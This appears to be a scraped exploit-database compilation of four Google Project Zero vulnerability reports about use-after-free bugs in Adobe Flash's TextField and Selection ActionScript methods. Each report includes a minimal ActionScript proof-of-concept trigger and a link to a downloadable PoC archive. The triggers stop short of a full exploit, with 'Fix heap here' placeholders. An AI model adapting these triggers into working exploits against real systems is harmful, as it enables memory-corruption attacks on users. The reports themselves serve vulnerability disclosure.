https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39048.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=585

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.

A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "text";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=586

The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);

function func(){

        if(times == 0){
             times++;
             return 0;

         }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=590

There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:

var mc = this.createEmptyMovieClip("mc", 301);
var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
myText_txt.text = "this is my text";
Selection.setFocus("myText_txt");
var n = {valueOf : func};
Selection.setSelection(n, 3);

function func(){

  mc.removeMovieClip();
  // Fix heap here
  return 0;

}

A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39043.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=583

If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 301);
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100); 
trace(my_txt);
my_txt.variable = "today_date"; 
mc.today_date = "blah"; 
var times = 0;
 
var date_interval:Number = setInterval(updateDate, 500);
 
function updateDate() { 
    mc.today_date = {toString : func}; 
}

function func(){
	if(times == 0){
		times++;
		mc.removeMovieClip();
	}

	return "test";
	
	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39049.zip